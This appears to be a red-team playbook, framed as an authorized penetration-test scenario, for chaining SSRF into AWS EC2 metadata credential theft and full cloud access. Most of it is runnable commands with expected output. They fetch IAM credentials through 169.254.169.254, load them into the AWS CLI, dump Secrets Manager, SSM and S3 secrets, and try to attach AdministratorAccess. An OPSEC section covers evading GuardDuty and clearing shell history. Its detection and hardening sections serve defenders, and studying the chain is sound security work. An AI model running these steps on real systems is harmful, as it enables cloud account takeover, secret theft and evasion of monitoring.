---
name: rt-scenario-w004
description: "W-004: SSRF → AWS EC2 Metadata → IAM Credentials → Full Cloud Access. Domain: web. Attack chain: find SSRF parameter → probe 169.254.169.254 → get IAM role credentials → use aws-cli → enumerate entire AWS environment. MITRE: T1190 → T1552.005 → T1078.004. Real example: RevSlider CVE-2022-4703 → http://169.254.169.254/latest/meta-data/iam/ → AWS pivot"
---

# W-004: SSRF → AWS EC2 Metadata → IAM Credentials → Full Cloud Access

## Overview

**Attack Objective:** Exploit a Server-Side Request Forgery (SSRF) vulnerability to reach the AWS EC2 Instance Metadata Service (IMDS), retrieve IAM role credentials attached to the instance, and leverage those credentials to enumerate and potentially control the entire AWS environment.

**Required Access Level:** None (unauthenticated external attacker)

**Estimated Time to Execute:** 30–90 minutes (depending on environment complexity and rate limiting)

**Detection Risk Level:** Medium
- SSRF probing generates unusual outbound metadata requests visible in application logs
- AWS CloudTrail logs all API calls made with the stolen credentials
- GuardDuty may alert on credential use from unexpected IP ranges

---

## Prerequisites

### Required Tools

```bash
# curl (usually pre-installed on Linux/macOS)
curl --version

# AWS CLI v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
aws --version

# ffuf - for SSRF parameter fuzzing
go install github.com/ffuf/ffuf/v2@latest
# or
wget https://github.com/ffuf/ffuf/releases/latest/download/ffuf_2.1.0_linux_amd64.tar.gz
tar -xzf ffuf_2.1.0_linux_amd64.tar.gz

# httpx - for probing
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

# Burp Suite Community/Pro (for intercepting and replaying SSRF requests)
# Download from https://portswigger.net/burp

# Optional: nuclei for automated SSRF template scanning
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
```

### Required Access or Conditions

- Network access to the target web application
- Target application must be running on AWS EC2 (or ECS/EKS with IMDS access)
- Target instance must have an IAM role attached (very common in cloud deployments)
- IMDSv1 must be enabled on the target instance (IMDSv2 requires session tokens — see fallback steps)
- Authorization: written permission from asset owner (bug bounty scope or penetration test agreement)

### Skill Level

**INTERMEDIATE** — Requires understanding of HTTP request mechanics, SSRF concepts, and basic AWS CLI usage.

---

## Attack Chain

```
[External Attacker]
        |
        v
[1] Discover SSRF Parameter
    T1190 - Exploit Public-Facing Application
        |
        v
[2] Probe AWS EC2 Metadata Endpoint
    169.254.169.254 → enumerate IAM roles
    T1552.005 - Cloud Instance Metadata API
        |
        v
[3] Retrieve IAM Role Temporary Credentials
    AccessKeyId + SecretAccessKey + SessionToken
    T1552.005 - Cloud Instance Metadata API
        |
        v
[4] Configure AWS CLI with Stolen Credentials
    T1078.004 - Valid Accounts: Cloud Accounts
        |
        v
[5] Enumerate AWS Environment
    IAM, S3, EC2, RDS, Secrets Manager, Lambda...
    T1078.004 + T1580 - Cloud Infrastructure Discovery
        |
        v
[6] Identify High-Value Targets / Escalate Privileges
    Lateral movement, data exfiltration, persistence
```

**MITRE ATT&CK Chain:** T1190 → T1552.005 → T1078.004

---

## Step-by-Step Execution

### Step 1: Reconnaissance — Identify Potential SSRF Parameters

**Objective:** Find application parameters that accept URLs or IP addresses and trigger server-side HTTP requests.

```bash
# 1a. Manual inspection — look for parameters like:
# ?url=, ?file=, ?path=, ?redirect=, ?fetch=, ?load=, ?img=, ?src=, ?link=, ?uri=

# 1b. Use ffuf to fuzz common SSRF parameter names
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u "https://target.example.com/api/fetch?FUZZ=http://127.0.0.1/" \
  -mc 200,301,302,500 \
  -fs 0

# 1c. Use nuclei SSRF templates
nuclei -u https://target.example.com -t nuclei-templates/vulnerabilities/generic/ssrf-via-url-params.yaml

# 1d. Use Burp Suite — enable passive scan, then browse application
# Look for requests that accept URLs, then test in Repeater

# 1e. JavaScript / API endpoint discovery
curl -s https://target.example.com/js/app.js | grep -Eo '"[^"]*url[^"]*"' | head -20
```

**Expected Output (ffuf):**
```
[Status: 200, Size: 1234, Words: 45, Lines: 12]
  * FUZZ: imageUrl
[Status: 200, Size: 987, Words: 32, Lines: 8]
  * FUZZ: src
```

**Fallback:** If parameter fuzzing yields nothing, check:
- POST body parameters (use `-X POST -d 'FUZZ=http://127.0.0.1/'`)
- XML/JSON body parameters in API calls
- File upload features that accept remote URLs
- PDF generation endpoints (`?template=http://...`)
- Webhook configuration fields in the application UI

---

### Step 2: Confirm SSRF — Probe with Out-of-Band Callback

**Objective:** Confirm the SSRF is real before probing internal services.

```bash
# 2a. Use Burp Collaborator or interactsh for OOB confirmation
# Start interactsh listener:
interactsh-client

# Your OOB host will be something like: abcd1234.oast.fun

# 2b. Send the SSRF probe
curl -s "https://target.example.com/api/fetch?url=http://abcd1234.oast.fun/ssrf-test"

# 2c. Check interactsh for incoming DNS/HTTP request
# Expected: DNS lookup + HTTP GET from target server IP
```

**Expected Output:**
```
[abcd1234.oast.fun] Received HTTP interaction from 1.2.3.4 (target server IP)
GET /ssrf-test HTTP/1.1
Host: abcd1234.oast.fun
User-Agent: python-requests/2.28.0
```

**Fallback:** If OOB not available, try time-based detection:
```bash
# Compare response times — internal services respond faster
time curl -s "https://target.example.com/api/fetch?url=http://127.0.0.1:80/"
time curl -s "https://target.example.com/api/fetch?url=http://127.0.0.1:9999/"
```

---

### Step 3: Probe AWS EC2 Instance Metadata Service (IMDSv1)

**Objective:** Reach the link-local metadata endpoint to enumerate the instance and IAM roles.

```bash
# 3a. Probe the metadata root
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"

# Expected response (reflected in app response body):
# ami-id
# ami-launch-index
# ami-manifest-path
# block-device-mapping/
# hostname
# iam/
# instance-action
# instance-id
# instance-type
# local-hostname
# local-ipv4
# mac
# network/
# placement/
# profile
# public-hostname
# public-ipv4
# reservation-id
# security-groups

# 3b. Get the instance ID and region (useful for later)
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
# Expected: i-0a1b2c3d4e5f67890

curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/placement/region"
# Expected: us-east-1

# 3c. Enumerate IAM roles attached to instance
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Expected: ProductionWebServerRole
```

**Expected Output:**
```
ProductionWebServerRole
```

**Fallback — IMDSv2 (Session Token Required):**
```bash
# If IMDSv1 returns 401 or empty, the instance uses IMDSv2
# IMDSv2 requires a PUT request to get a session token first
# Most SSRF vulnerabilities cannot perform PUT requests easily
# Try these workarounds:

# Option A: Check if app supports custom HTTP methods via SSRF
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/api/token" \
  -H "X-Method-Override: PUT" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

# Option B: Look for open redirect on the target to chain with SSRF
# Option C: If the app uses a URL-fetching library (like python requests),
# it may follow redirects — try redirecting to metadata from your OOB server

# Option D: Check for ECS task metadata (different endpoint, no IMDSv2)
curl -s "https://target.example.com/api/fetch?url=http://169.254.170.2/v2/credentials/TASK_ROLE_ID"
# ECS_CONTAINER_METADATA_URI_V4 endpoint varies — get from environment
```

---

### Step 4: Retrieve IAM Role Temporary Credentials

**Objective:** Fetch the actual AWS credentials (AccessKeyId, SecretAccessKey, SessionToken).

```bash
# 4a. Replace ROLE_NAME with the role found in Step 3c
ROLE_NAME="ProductionWebServerRole"

curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}"
```

**Expected Output (reflected in application response):**
```json
{
  "Code" : "Success",
  "LastUpdated" : "2024-01-15T10:30:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA1234567890EXAMPLE",
  "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token" : "AQoDYXdzEJr//////////wEa0AP...VERY_LONG_SESSION_TOKEN...==",
  "Expiration" : "2024-01-15T16:30:00Z"
}
```

**Notes:**
- Credentials are temporary (typically valid 1–6 hours)
- `AccessKeyId` starting with `ASIA` indicates temporary/assumed-role credentials
- Note the `Expiration` time — you have a limited window to act
- If the response is base64-encoded or URL-encoded, decode it first:

```bash
# If response is base64 encoded:
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}" | base64 -d | python3 -m json.tool
```

---

### Step 5: Configure AWS CLI with Stolen Credentials

**Objective:** Set up the AWS CLI to authenticate as the compromised IAM role.

```bash
# 5a. Set environment variables (preferred — avoids writing to disk)
export AWS_ACCESS_KEY_ID="ASIA1234567890EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="AQoDYXdzEJr//////////wEa0AP...VERY_LONG_SESSION_TOKEN...=="
export AWS_DEFAULT_REGION="us-east-1"

# 5b. Verify the credentials work
aws sts get-caller-identity
```

**Expected Output:**
```json
{
    "UserId": "AROA1234567890EXAMPLE:i-0a1b2c3d4e5f67890",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/ProductionWebServerRole/i-0a1b2c3d4e5f67890"
}
```

**Alternative — Named Profile (if you prefer):**
```bash
# Configure as a named profile to avoid polluting default
aws configure set aws_access_key_id "ASIA1234567890EXAMPLE" --profile ssrf-target
aws configure set aws_secret_access_key "wJalrXUtnFEMI/K7MDENG/..." --profile ssrf-target
aws configure set aws_session_token "AQoDYXdz..." --profile ssrf-target
aws configure set region "us-east-1" --profile ssrf-target

# Use profile in commands
aws sts get-caller-identity --profile ssrf-target
```

**Fallback:** If credentials are expired (check `Expiration` field), re-run Steps 3–4 immediately. Credentials refresh automatically on the instance but you must re-fetch them via SSRF.

---

### Step 6: Enumerate AWS Environment

**Objective:** Map the AWS environment to understand the blast radius and identify high-value assets.

```bash
# ---- IDENTITY & ACCOUNT ----

# 6a. Who are we and what account is this?
aws sts get-caller-identity
aws iam get-role --role-name ProductionWebServerRole 2>/dev/null

# 6b. List all IAM users (if permitted)
aws iam list-users --output table

# 6c. List all IAM roles
aws iam list-roles --output table | head -50

# 6d. Check what policies are attached to our role
aws iam list-attached-role-policies --role-name ProductionWebServerRole
aws iam list-role-policies --role-name ProductionWebServerRole

# 6e. Get the actual policy document to understand permissions
POLICY_ARN="arn:aws:iam::123456789012:policy/ProductionWebPolicy"
POLICY_VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN --query 'Policy.DefaultVersionId' --output text)
aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $POLICY_VERSION

# ---- COMPUTE ----

# 6f. List all EC2 instances across all regions
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
  echo "=== Region: $region ==="
  aws ec2 describe-instances --region $region \
    --query 'Reservations[].Instances[].[InstanceId,InstanceType,State.Name,PublicIpAddress,Tags[?Key==`Name`].Value|[0]]' \
    --output table 2>/dev/null
done

# 6g. List Lambda functions
aws lambda list-functions --query 'Functions[].[FunctionName,Runtime,Handler]' --output table

# ---- STORAGE ----

# 6h. List all S3 buckets
aws s3 ls

# 6i. Check bucket contents (look for sensitive data)
aws s3 ls s3://bucket-name/ --recursive | head -30

# 6j. Try to read potentially sensitive S3 objects
aws s3 cp s3://bucket-name/config/database.yaml /tmp/database.yaml
aws s3 cp s3://bucket-name/.env /tmp/env-file

# ---- SECRETS ----

# 6k. List secrets in AWS Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].[Name,Description]' --output table

# 6l. Retrieve a secret value (high value target!)
aws secretsmanager get-secret-value --secret-id production/database/credentials
aws secretsmanager get-secret-value --secret-id production/api/stripe-key

# 6m. List SSM Parameter Store parameters
aws ssm describe-parameters --query 'Parameters[].[Name,Type,Description]' --output table

# 6n. Get sensitive SSM parameters
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
  --query 'Parameters[].[Name,Value]' --output table

# ---- DATABASES ----

# 6o. List RDS instances
aws rds describe-db-instances \
  --query 'DBInstances[].[DBInstanceIdentifier,Engine,Endpoint.Address,MasterUsername]' \
  --output table

# ---- NETWORK ----

# 6p. List VPCs and subnets
aws ec2 describe-vpcs --query 'Vpcs[].[VpcId,CidrBlock,Tags[?Key==`Name`].Value|[0]]' --output table

# 6q. List security groups (look for overly permissive rules)
aws ec2 describe-security-groups \
  --query 'SecurityGroups[].[GroupName,Description,VpcId]' --output table

# ---- IAM PRIVILEGE ESCALATION CHECK ----

# 6r. Check for IAM privilege escalation paths
# Use automated tool: enumerate-iam
pip3 install enumerate-iam
enumerate-iam --access-key $AWS_ACCESS_KEY_ID \
              --secret-key $AWS_SECRET_ACCESS_KEY \
              --session-token $AWS_SESSION_TOKEN \
              --region us-east-1

# 6s. Check if we can create IAM users or attach policies (escalation!)
aws iam create-user --user-name test-escalation-check 2>&1
aws iam attach-role-policy --role-name ProductionWebServerRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess 2>&1
```

**Expected High-Value Findings:**
- Database credentials in Secrets Manager or SSM
- Other IAM role credentials in S3 config files
- Internal API keys in environment variables
- Backup files containing sensitive data in S3
- EC2 instances in private subnets for lateral movement

---

### Step 7: Document Findings and Assess Impact

```bash
# Create a findings summary
mkdir -p /tmp/ssrf-engagement-$(date +%Y%m%d)
cd /tmp/ssrf-engagement-$(date +%Y%m%d)

# Capture account overview
aws sts get-caller-identity > account-identity.json
aws iam list-users > iam-users.json 2>/dev/null
aws s3 ls > s3-buckets.txt
aws ec2 describe-instances > ec2-instances.json
aws secretsmanager list-secrets > secrets-list.json 2>/dev/null
aws lambda list-functions > lambda-functions.json 2>/dev/null

echo "Findings captured in /tmp/ssrf-engagement-$(date +%Y%m%d)/"
```

---

## Real-World Reference

**CVE-2022-4703 — Revolution Slider (RevSlider) WordPress Plugin SSRF**

- **Affected Versions:** RevSlider prior to 6.6.12
- **Vulnerability:** The plugin's slide import feature accepted a remote URL parameter without proper validation or SSRF protection, allowing unauthenticated users to trigger server-side HTTP requests to arbitrary URLs.
- **Exploitation Path:**
  1. Send a POST request to the RevSlider import endpoint with a crafted URL pointing to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
  2. The WordPress server (running on EC2) fetched the metadata URL and returned the IAM credentials in the response
  3. Attackers used the stolen `AssumeRole` credentials to access AWS S3 buckets, RDS databases, and Secrets Manager

**Proof-of-Concept Request:**
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress.example.com
Content-Type: application/x-www-form-urlencoded

action=revslider_ajax_action&client_action=import_slider&nonce=VALID_NONCE&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

**References:**
- CVE-2022-4703: https://nvd.nist.gov/vuln/detail/CVE-2022-4703
- HackerOne Report pattern: Multiple bounty reports on SSRF → EC2 metadata pivot
- Similar real-world case: Capital One breach (2019) — SSRF via WAF misconfiguration → S3 data exfiltration

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique ID | Technique Name | Sub-technique |
|------|--------|--------------|----------------|---------------|
| 1. Discover SSRF Parameter | Reconnaissance | T1595 | Active Scanning | T1595.002 - Vulnerability Scanning |
| 2. Confirm SSRF via OOB | Initial Access | T1190 | Exploit Public-Facing Application | — |
| 3. Probe EC2 Metadata | Credential Access | T1552 | Unsecured Credentials | T1552.005 - Cloud Instance Metadata API |
| 4. Retrieve IAM Credentials | Credential Access | T1552 | Unsecured Credentials | T1552.005 - Cloud Instance Metadata API |
| 5. Configure AWS CLI | Defense Evasion / Persistence | T1078 | Valid Accounts | T1078.004 - Cloud Accounts |
| 6a. Enumerate IAM | Discovery | T1069 | Permission Groups Discovery | T1069.003 - Cloud Groups |
| 6b. Enumerate EC2/Services | Discovery | T1580 | Cloud Infrastructure Discovery | — |
| 6c. List S3 Buckets | Discovery | T1619 | Cloud Storage Object Discovery | — |
| 6d. Read S3 / Secrets | Collection | T1530 | Data from Cloud Storage | — |
| 6e. Privilege Escalation | Privilege Escalation | T1078 | Valid Accounts | T1078.004 - Cloud Accounts |
| Lateral Movement | Lateral Movement | T1021 | Remote Services | T1021.007 - Cloud Services |

---

## Detection & OPSEC

### How This Attack Is Detected

**At the Application Layer:**
- Web Application Firewall (WAF) rules blocking requests containing `169.254.169.254` in parameters
- Application logs showing requests with metadata IP in URL parameters
- Anomaly detection on unusual outbound HTTP requests from the server

**At the AWS Layer:**
- **CloudTrail:** All AWS API calls made with the stolen credentials are logged with the source IP (your attacker IP), which will be different from the EC2 instance IP — this is a high-confidence indicator of credential theft
- **GuardDuty findings:**
  - `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS` — if used from another AWS account
  - `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS` — if used from outside AWS
  - `Discovery:IAMUser/AnomalousBehavior` — bulk enumeration
- **AWS Security Hub:** Aggregates GuardDuty + Config findings
- **VPC Flow Logs:** Show unusual outbound connections from EC2 instance

**At the Network Layer:**
- IDS/IPS signatures for SSRF attempts targeting 169.254.x.x
- Unusual DNS queries from application servers

### Reducing Detection Risk During Authorized Engagements

```bash
# OPSEC Tip 1: Use the credentials from within AWS infrastructure if possible
# (spin up an EC2 in a different account to avoid the "outside AWS" GuardDuty alert)

# OPSEC Tip 2: Rate limit your enumeration — avoid bulk API calls
# Add sleep between commands to mimic normal usage patterns
for bucket in $(aws s3 ls | awk '{print $3}'); do
  aws s3 ls s3://$bucket/ --recursive 2>/dev/null | head -20
  sleep 2  # throttle to reduce anomaly detection
done

# OPSEC Tip 3: Only query what's needed for the engagement scope
# Avoid touching resources outside scope (other accounts, production databases)

# OPSEC Tip 4: Note credential expiry time and plan enumeration window
aws sts get-caller-identity  # check token validity
# Credentials expire — plan your work within the 1-6 hour window

# OPSEC Tip 5: Use read-only operations only (unless write access is in scope)
# Prefer Describe/List/Get over Create/Delete/Update
```

### Artifacts Left Behind

| Artifact | Location | Persistence |
|----------|----------|-------------|
| CloudTrail API call logs | AWS CloudTrail (S3 bucket) | 90 days (default) |
| GuardDuty findings | AWS GuardDuty console | 90 days |
| Web application access logs | Target server /var/log/apache2/ or /var/log/nginx/ | Until log rotation |
| AWS CLI config files | ~/.aws/credentials (if profile used) | Until manually deleted |
| Downloaded files | /tmp/ssrf-engagement-* | Until manually deleted |
| VPC Flow Logs | CloudWatch Logs / S3 | Per retention policy |

---

## Cleanup

After completing the authorized engagement, remove all artifacts:

```bash
# ---- LOCAL MACHINE CLEANUP ----

# 1. Unset environment variables
unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
unset AWS_DEFAULT_REGION

# 2. Remove AWS CLI profile if created
aws configure --profile ssrf-target set aws_access_key_id ""
# Or remove manually:
nano ~/.aws/credentials  # delete [ssrf-target] section
nano ~/.aws/config       # delete [profile ssrf-target] section

# 3. Remove downloaded engagement files
rm -rf /tmp/ssrf-engagement-*/

# 4. Remove any temp files created during testing
rm -f /tmp/database.yaml /tmp/env-file

# 5. Clear shell history (optional, discuss with engagement team)
history -c && history -w

# ---- AWS ENVIRONMENT CLEANUP ----
# (Only if you created any resources during testing)

# 6. Remove any IAM users created for testing
aws iam delete-user --user-name test-escalation-check 2>/dev/null

# 7. Remove any S3 objects uploaded during testing
# aws s3 rm s3://bucket-name/pentest-marker.txt

# 8. Verify no persistent resources remain
aws iam list-users | grep test-escalation-check
aws s3 ls | grep pentest

# ---- DOCUMENT CLEANUP ACTIONS ----
# Record all cleanup actions in engagement report
# Confirm with client that GuardDuty findings should be dismissed or kept for audit
```

**Note:** CloudTrail logs and GuardDuty findings cannot be deleted without elevated permissions. Document their existence in the engagement report and advise the client on how to dismiss/archive them after review.

---

## References

### Tools

| Tool | Purpose | URL |
|------|---------|-----|
| ffuf | Parameter fuzzing / SSRF discovery | https://github.com/ffuf/ffuf |
| nuclei | Automated SSRF template scanning | https://github.com/projectdiscovery/nuclei |
| interactsh | Out-of-band SSRF confirmation | https://github.com/projectdiscovery/interactsh |
| aws-cli v2 | AWS environment enumeration | https://aws.amazon.com/cli/ |
| enumerate-iam | Automated IAM permission enumeration | https://github.com/andresriancho/enumerate-iam |
| pacu | AWS exploitation framework | https://github.com/RhinoSecurityLabs/pacu |
| cloudmapper | AWS environment visualization | https://github.com/duo-labs/cloudmapper |
| ScoutSuite | AWS multi-cloud security auditing | https://github.com/nccgroup/ScoutSuite |
| Burp Suite | HTTP interception and SSRF replay | https://portswigger.net/burp |

### Vulnerability References

- CVE-2022-4703 (RevSlider SSRF): https://nvd.nist.gov/vuln/detail/CVE-2022-4703
- OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- AWS IMDS Documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
- AWS IMDSv2 Transition Guide: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-new-instances.html
- Capital One Breach Analysis (SSRF → S3): https://www.capitalone.com/digital/facts2019/
- PortSwigger SSRF Lab: https://portswigger.net/web-security/ssrf

### MITRE ATT&CK References

- T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- T1552.005 — Cloud Instance Metadata API: https://attack.mitre.org/techniques/T1552/005/
- T1078.004 — Valid Accounts: Cloud Accounts: https://attack.mitre.org/techniques/T1078/004/
- T1580 — Cloud Infrastructure Discovery: https://attack.mitre.org/techniques/T1580/
- T1530 — Data from Cloud Storage: https://attack.mitre.org/techniques/T1530/

### AWS Security Hardening (Defensive Recommendations)

- Enforce IMDSv2: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
- AWS GuardDuty SSRF Findings: https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html
- WAF Rules for SSRF Protection: https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-baseline.html
- Least Privilege IAM Roles: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html
